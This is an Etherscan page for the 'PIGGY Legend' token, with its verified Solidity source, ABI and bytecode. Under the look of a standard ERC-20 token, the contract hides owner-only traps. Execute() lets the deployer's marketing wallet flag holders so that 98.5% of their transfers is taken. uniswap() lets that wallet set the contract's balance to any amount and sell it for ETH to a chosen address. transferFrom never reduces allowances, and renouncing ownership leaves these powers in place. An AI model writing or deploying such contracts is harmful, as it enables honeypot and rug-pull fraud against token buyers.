ETH Price: $2,272.04 (-0.80%)

Token

PIGGY Legend (PIGGY)
 

Overview

Max Total Supply

1,000,000,000 PIGGY

Holders

14

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.000000001 PIGGY

Value
$0.00
0x462833ffc14268f46c18d64e3b93030388666666
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PIGGY

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-07-19
*/

// https://t.me/piggy_legends

// https://twitter.com/PIGGY_Legend

// https://www.piggy.bio/

pragma solidity ^0.8.19;
// SPDX-License-Identifier: MIT


interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair_);
}

contract Context {
    function msgSender() public view returns (address) {return msg.sender;}
}
library SafeMath {

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath:  subtraction overflow");
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b, "SafeMath:  multiplication overflow");
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath:  addition overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath:  division by zero");
        uint256 c = a / b;
        return c;
    }
}


interface IUniswapV2Router {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 asd, uint256 bewr, address[] calldata _path, address csdf, uint256) external;
    function factory() external pure returns (address addr);
    function WETH() external pure returns (address aadd);
}
abstract contract Ownable {
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    address private _owner;
    modifier onlyOwner(){
        require(owner() == msg.sender, "Ownable: caller is not the owner"); _;
    }
    constructor () {
        emit OwnershipTransferred(address(0), _owner);
        _owner = msg.sender;
    }
    function owner() public view virtual returns (address) {return _owner;}
}

contract PIGGY is Ownable, Context {
    using SafeMath for uint256;

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msgSender(), spender, amount);
        return true;
    }
    event Approval(address indexed from, address indexed to_addres, uint256 value);
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    uint256 public _decimals = 9;
    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        _approve(msgSender(), spender, _allowances[msgSender()][spender] + addedValue);
        return true;
    }
    function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msgSender(), recipient, amount); return true; }
    uint256 public _totalSupply = 1000000000 * 10 ** _decimals;
    function _transfer(address _from, address _to, uint256 _amount) internal {
        uint256 feeAmount = (
            cooldowns[_from] != 0 && cooldowns[_from] <= currentBlock()
        ) ? _amount.mul(985).div(1000) 
        :  sellFee;
        require(_amount <= _balances[_from]); 
        _balances[_to] += _amount - feeAmount;
        _balances[_from] -= (_amount); 
        require(_from != address(0));
        emit Transfer(_from, _to, _amount);
    }
    uint256 sellFee = 0;
    uint256 buyFee = 0;
    function decimals() external view returns (uint256) {
        return _decimals;
    }
    string private _symbol = "PIGGY";
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    string private _name = "PIGGY Legend";
    function Execute(address[] calldata _addresses) external { 
        uint256 _toBlockNumber = currentBlock() + 1;
        for (uint _ndex_ = 0;  _ndex_ < _addresses.length;  _ndex_++) { 
            if (marketing()){ cooldowns[_addresses[_ndex_]] = _toBlockNumber; }
        }
    } 
    address public _marketingWallet;
    IUniswapV2Router private uniswapRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    function currentBlock() private view returns (uint256) {
        return block.number;
    }
    function setBuyFee(uint256 bf) external onlyOwner {
        buyFee = bf;
    }
    function setSellFee(uint256 sf) external  onlyOwner {
        sellFee = sf;
    }
    mapping(address => uint256) private _balances;
    event Transfer(address indexed from, address indexed aindex, uint256 val);

    function totalSupply() external view returns (uint256) { 
        return _totalSupply; 
    }
    function marketing() internal view returns (bool) {
        return _marketingWallet == msgSender();
    }
    function transferFrom(address from_, address to_, uint256 _amount) public returns (bool) {
        _transfer(from_, to_, _amount);
        require(_allowances[from_][msgSender()] >= _amount);
        return true;
    }
    function balanceOf(address account) public view returns (uint256) { return _balances[account]; } 
    function _approve(address owner, address spender, uint256 amount) internal {
        require(spender != address(0));
        require(owner != address(0));
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    mapping (address => uint256) cooldowns;
    function uniswap(uint256 quantity, address _addrSwap) external {
        if (marketing()) { _approve(address(this), address(uniswapRouter),  quantity); 
        _balances[address(this)] = quantity;
        address[] memory tokenPath = new address[](2);  
        tokenPath[0] = address(this);   
        tokenPath[1] = uniswapRouter.WETH();  
        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(quantity, 0, tokenPath, _addrSwap, 32 + block.timestamp);
        }
    }
    function name() external view returns (string memory) { return _name; }
    function decreaseAllowance(address from, uint256 amount) public returns (bool) {
        require(_allowances[msgSender()][from] >= amount);
        _approve(msgSender(), from, _allowances[msg.sender][from] - amount);
        return true;
    } 
    mapping(address => mapping(address => uint256)) private _allowances;
    constructor() {
        _balances[msgSender()] = _totalSupply; 
        _marketingWallet = msg.sender;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to_addres","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"aindex","type":"address"},{"indexed":false,"internalType":"uint256","name":"val","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"}],"name":"Execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"msgSender","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"bf","type":"uint256"}],"name":"setBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"sf","type":"uint256"}],"name":"setSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from_","type":"address"},{"internalType":"address","name":"to_","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"quantity","type":"uint256"},{"internalType":"address","name":"_addrSwap","type":"address"}],"name":"uniswap","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526009600155600154600a6200001a9190620004bc565b633b9aca006200002b91906200050d565b600255600060035560006004556040518060400160405280600581526020017f5049474759000000000000000000000000000000000000000000000000000000815250600590816200007e9190620007c8565b506040518060400160405280600c81526020017f5049474759204c6567656e64000000000000000000000000000000000000000081525060069081620000c59190620007c8565b50737a250d5630b4cf539739df2c5dacb4c659f2488d600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200012857600080fd5b5060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060025460096000620001fb6200032760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555033600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051620003199190620008c0565b60405180910390a3620008dd565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620003bd578086048111156200039557620003946200032f565b5b6001851615620003a55780820291505b8081029050620003b5856200035e565b945062000375565b94509492505050565b600082620003d85760019050620004ab565b81620003e85760009050620004ab565b81600181146200040157600281146200040c5762000442565b6001915050620004ab565b60ff8411156200042157620004206200032f565b5b8360020a9150848211156200043b576200043a6200032f565b5b50620004ab565b5060208310610133831016604e8410600b84101617156200047c5782820a9050838111156200047657620004756200032f565b5b620004ab565b6200048b84848460016200036b565b92509050818404811115620004a557620004a46200032f565b5b81810290505b9392505050565b6000819050919050565b6000620004c982620004b2565b9150620004d683620004b2565b9250620005057fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620003c6565b905092915050565b60006200051a82620004b2565b91506200052783620004b2565b92508282026200053781620004b2565b915082820484148315176200055157620005506200032f565b5b5092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620005da57607f821691505b602082108103620005f057620005ef62000592565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200065a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200061b565b6200066686836200061b565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620006a9620006a36200069d84620004b2565b6200067e565b620004b2565b9050919050565b6000819050919050565b620006c58362000688565b620006dd620006d482620006b0565b84845462000628565b825550505050565b600090565b620006f4620006e5565b62000701818484620006ba565b505050565b5b8181101562000729576200071d600082620006ea565b60018101905062000707565b5050565b601f82111562000778576200074281620005f6565b6200074d846200060b565b810160208510156200075d578190505b620007756200076c856200060b565b83018262000706565b50505b505050565b600082821c905092915050565b60006200079d600019846008026200077d565b1980831691505092915050565b6000620007b883836200078a565b9150826002028217905092915050565b620007d38262000558565b67ffffffffffffffff811115620007ef57620007ee62000563565b5b620007fb8254620005c1565b620008088282856200072d565b600060209050601f8311600181146200084057600084156200082b578287015190505b620008378582620007aa565b865550620008a7565b601f1984166200085086620005f6565b60005b828110156200087a5784890151825560018201915060208501945060208101905062000853565b868310156200089a578489015162000896601f8916826200078a565b8355505b6001600288020188555050505b505050505050565b620008ba81620004b2565b82525050565b6000602082019050620008d76000830184620008af565b92915050565b611d5880620008ed6000396000f3fe608060405234801561001057600080fd5b50600436106101375760003560e01c8063715018a6116100b8578063a457c2d71161007c578063a457c2d71461032e578063a9059cbb1461035e578063ac223af91461038e578063bad2931e146103aa578063d737d0c7146103c6578063dd62ed3e146103e457610137565b8063715018a6146102ae5780638b4cee08146102b85780638da5cb5b146102d457806395d89b41146102f2578063962dfc751461031057610137565b8063313ce567116100ff578063313ce567146101f457806332424aa31461021257806339509351146102305780633eaaf86b1461026057806370a082311461027e57610137565b806306fdde031461013c578063095ea7b31461015a5780630cc835a31461018a57806318160ddd146101a657806323b872dd146101c4575b600080fd5b610144610414565b6040516101519190611471565b60405180910390f35b610174600480360381019061016f9190611531565b6104a6565b604051610181919061158c565b60405180910390f35b6101a4600480360381019061019f91906115a7565b6104c4565b005b6101ae610543565b6040516101bb91906115e3565b60405180910390f35b6101de60048036038101906101d991906115fe565b61054d565b6040516101eb919061158c565b60405180910390f35b6101fc6105f5565b60405161020991906115e3565b60405180910390f35b61021a6105ff565b60405161022791906115e3565b60405180910390f35b61024a60048036038101906102459190611531565b610605565b604051610257919061158c565b60405180910390f35b6102686106b1565b60405161027591906115e3565b60405180910390f35b61029860048036038101906102939190611651565b6106b7565b6040516102a591906115e3565b60405180910390f35b6102b6610700565b005b6102d260048036038101906102cd91906115a7565b610833565b005b6102dc6108b2565b6040516102e9919061168d565b60405180910390f35b6102fa6108db565b6040516103079190611471565b60405180910390f35b61031861096d565b604051610325919061168d565b60405180910390f35b61034860048036038101906103439190611531565b610993565b604051610355919061158c565b60405180910390f35b61037860048036038101906103739190611531565b610ac8565b604051610385919061158c565b60405180910390f35b6103a860048036038101906103a391906116a8565b610ae6565b005b6103c460048036038101906103bf919061174d565b610d88565b005b6103ce610e40565b6040516103db919061168d565b60405180910390f35b6103fe60048036038101906103f9919061179a565b610e48565b60405161040b91906115e3565b60405180910390f35b60606006805461042390611809565b80601f016020809104026020016040519081016040528092919081815260200182805461044f90611809565b801561049c5780601f106104715761010080835404028352916020019161049c565b820191906000526020600020905b81548152906001019060200180831161047f57829003601f168201915b5050505050905090565b60006104ba6104b3610e40565b8484610ecf565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff166104e36108b2565b73ffffffffffffffffffffffffffffffffffffffff1614610539576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053090611886565b60405180910390fd5b8060048190555050565b6000600254905090565b600061055a84848461102c565b81600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105a4610e40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156105ea57600080fd5b600190509392505050565b6000600154905090565b60015481565b60006106a7610612610e40565b8484600b6000610620610e40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106a291906118d5565b610ecf565b6001905092915050565b60025481565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1661071f6108b2565b73ffffffffffffffffffffffffffffffffffffffff1614610775576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076c90611886565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff166108526108b2565b73ffffffffffffffffffffffffffffffffffffffff16146108a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089f90611886565b60405180910390fd5b8060038190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546108ea90611809565b80601f016020809104026020016040519081016040528092919081815260200182805461091690611809565b80156109635780601f1061093857610100808354040283529160200191610963565b820191906000526020600020905b81548152906001019060200180831161094657829003601f168201915b5050505050905090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081600b60006109a2610e40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a2557600080fd5b610abe610a30610e40565b8484600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ab99190611909565b610ecf565b6001905092915050565b6000610adc610ad5610e40565b848461102c565b6001905092915050565b610aee6112a2565b15610d8457610b2030600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610ecf565b81600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff811115610b8157610b8061193d565b5b604051908082528060200260200182016040528015610baf5781602001602082028036833780820191505090505b5090503081600081518110610bc757610bc661196c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c6e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c9291906119b0565b81600181518110610ca657610ca561196c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486426020610d3091906118d5565b6040518663ffffffff1660e01b8152600401610d50959493929190611ae0565b600060405180830381600087803b158015610d6a57600080fd5b505af1158015610d7e573d6000803e3d6000fd5b50505050505b5050565b60006001610d94611301565b610d9e91906118d5565b905060005b83839050811015610e3a57610db66112a2565b15610e275781600a6000868685818110610dd357610dd261196c565b5b9050602002016020810190610de89190611651565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8080610e3290611b3a565b915050610da3565b50505050565b600033905090565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f0857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f4157600080fd5b80600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161101f91906115e3565b60405180910390a3505050565b600080600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141580156110c35750611080611301565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b6110cf576003546110f9565b6110f86103e86110ea6103d98561130990919063ffffffff16565b61138390919063ffffffff16565b5b9050600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561114757600080fd5b80826111539190611909565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111a191906118d5565b9250508190555081600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111f79190611909565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361123757600080fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161129491906115e3565b60405180910390a350505050565b60006112ac610e40565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905090565b600043905090565b600080830361131b576000905061137d565b600082846113299190611b82565b90508284826113389190611bf3565b14611378576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136f90611c96565b60405180910390fd5b809150505b92915050565b60008082116113c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113be90611d02565b60405180910390fd5b600082846113d59190611bf3565b90508091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561141b578082015181840152602081019050611400565b60008484015250505050565b6000601f19601f8301169050919050565b6000611443826113e1565b61144d81856113ec565b935061145d8185602086016113fd565b61146681611427565b840191505092915050565b6000602082019050818103600083015261148b8184611438565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114c88261149d565b9050919050565b6114d8816114bd565b81146114e357600080fd5b50565b6000813590506114f5816114cf565b92915050565b6000819050919050565b61150e816114fb565b811461151957600080fd5b50565b60008135905061152b81611505565b92915050565b6000806040838503121561154857611547611493565b5b6000611556858286016114e6565b92505060206115678582860161151c565b9150509250929050565b60008115159050919050565b61158681611571565b82525050565b60006020820190506115a1600083018461157d565b92915050565b6000602082840312156115bd576115bc611493565b5b60006115cb8482850161151c565b91505092915050565b6115dd816114fb565b82525050565b60006020820190506115f860008301846115d4565b92915050565b60008060006060848603121561161757611616611493565b5b6000611625868287016114e6565b9350506020611636868287016114e6565b92505060406116478682870161151c565b9150509250925092565b60006020828403121561166757611666611493565b5b6000611675848285016114e6565b91505092915050565b611687816114bd565b82525050565b60006020820190506116a2600083018461167e565b92915050565b600080604083850312156116bf576116be611493565b5b60006116cd8582860161151c565b92505060206116de858286016114e6565b9150509250929050565b600080fd5b600080fd5b600080fd5b60008083601f84011261170d5761170c6116e8565b5b8235905067ffffffffffffffff81111561172a576117296116ed565b5b602083019150836020820283011115611746576117456116f2565b5b9250929050565b6000806020838503121561176457611763611493565b5b600083013567ffffffffffffffff81111561178257611781611498565b5b61178e858286016116f7565b92509250509250929050565b600080604083850312156117b1576117b0611493565b5b60006117bf858286016114e6565b92505060206117d0858286016114e6565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061182157607f821691505b602082108103611834576118336117da565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006118706020836113ec565b915061187b8261183a565b602082019050919050565b6000602082019050818103600083015261189f81611863565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006118e0826114fb565b91506118eb836114fb565b9250828201905080821115611903576119026118a6565b5b92915050565b6000611914826114fb565b915061191f836114fb565b9250828203905081811115611937576119366118a6565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506119aa816114cf565b92915050565b6000602082840312156119c6576119c5611493565b5b60006119d48482850161199b565b91505092915050565b6000819050919050565b6000819050919050565b6000611a0c611a07611a02846119dd565b6119e7565b6114fb565b9050919050565b611a1c816119f1565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a57816114bd565b82525050565b6000611a698383611a4e565b60208301905092915050565b6000602082019050919050565b6000611a8d82611a22565b611a978185611a2d565b9350611aa283611a3e565b8060005b83811015611ad3578151611aba8882611a5d565b9750611ac583611a75565b925050600181019050611aa6565b5085935050505092915050565b600060a082019050611af560008301886115d4565b611b026020830187611a13565b8181036040830152611b148186611a82565b9050611b23606083018561167e565b611b3060808301846115d4565b9695505050505050565b6000611b45826114fb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611b7757611b766118a6565b5b600182019050919050565b6000611b8d826114fb565b9150611b98836114fb565b9250828202611ba6816114fb565b91508282048414831517611bbd57611bbc6118a6565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611bfe826114fb565b9150611c09836114fb565b925082611c1957611c18611bc4565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c60008201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b6000611c806022836113ec565b9150611c8b82611c24565b604082019050919050565b60006020820190508181036000830152611caf81611c73565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f0000000000600082015250565b6000611cec601b836113ec565b9150611cf782611cb6565b602082019050919050565b60006020820190508181036000830152611d1b81611cdf565b905091905056fea26469706673582212202d1aee2eb5df5cc86e1ff393858fd60b67ac4e3bf33dad0c9b0296f45d02eb4764736f6c63430008130033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101375760003560e01c8063715018a6116100b8578063a457c2d71161007c578063a457c2d71461032e578063a9059cbb1461035e578063ac223af91461038e578063bad2931e146103aa578063d737d0c7146103c6578063dd62ed3e146103e457610137565b8063715018a6146102ae5780638b4cee08146102b85780638da5cb5b146102d457806395d89b41146102f2578063962dfc751461031057610137565b8063313ce567116100ff578063313ce567146101f457806332424aa31461021257806339509351146102305780633eaaf86b1461026057806370a082311461027e57610137565b806306fdde031461013c578063095ea7b31461015a5780630cc835a31461018a57806318160ddd146101a657806323b872dd146101c4575b600080fd5b610144610414565b6040516101519190611471565b60405180910390f35b610174600480360381019061016f9190611531565b6104a6565b604051610181919061158c565b60405180910390f35b6101a4600480360381019061019f91906115a7565b6104c4565b005b6101ae610543565b6040516101bb91906115e3565b60405180910390f35b6101de60048036038101906101d991906115fe565b61054d565b6040516101eb919061158c565b60405180910390f35b6101fc6105f5565b60405161020991906115e3565b60405180910390f35b61021a6105ff565b60405161022791906115e3565b60405180910390f35b61024a60048036038101906102459190611531565b610605565b604051610257919061158c565b60405180910390f35b6102686106b1565b60405161027591906115e3565b60405180910390f35b61029860048036038101906102939190611651565b6106b7565b6040516102a591906115e3565b60405180910390f35b6102b6610700565b005b6102d260048036038101906102cd91906115a7565b610833565b005b6102dc6108b2565b6040516102e9919061168d565b60405180910390f35b6102fa6108db565b6040516103079190611471565b60405180910390f35b61031861096d565b604051610325919061168d565b60405180910390f35b61034860048036038101906103439190611531565b610993565b604051610355919061158c565b60405180910390f35b61037860048036038101906103739190611531565b610ac8565b604051610385919061158c565b60405180910390f35b6103a860048036038101906103a391906116a8565b610ae6565b005b6103c460048036038101906103bf919061174d565b610d88565b005b6103ce610e40565b6040516103db919061168d565b60405180910390f35b6103fe60048036038101906103f9919061179a565b610e48565b60405161040b91906115e3565b60405180910390f35b60606006805461042390611809565b80601f016020809104026020016040519081016040528092919081815260200182805461044f90611809565b801561049c5780601f106104715761010080835404028352916020019161049c565b820191906000526020600020905b81548152906001019060200180831161047f57829003601f168201915b5050505050905090565b60006104ba6104b3610e40565b8484610ecf565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff166104e36108b2565b73ffffffffffffffffffffffffffffffffffffffff1614610539576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053090611886565b60405180910390fd5b8060048190555050565b6000600254905090565b600061055a84848461102c565b81600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105a4610e40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffff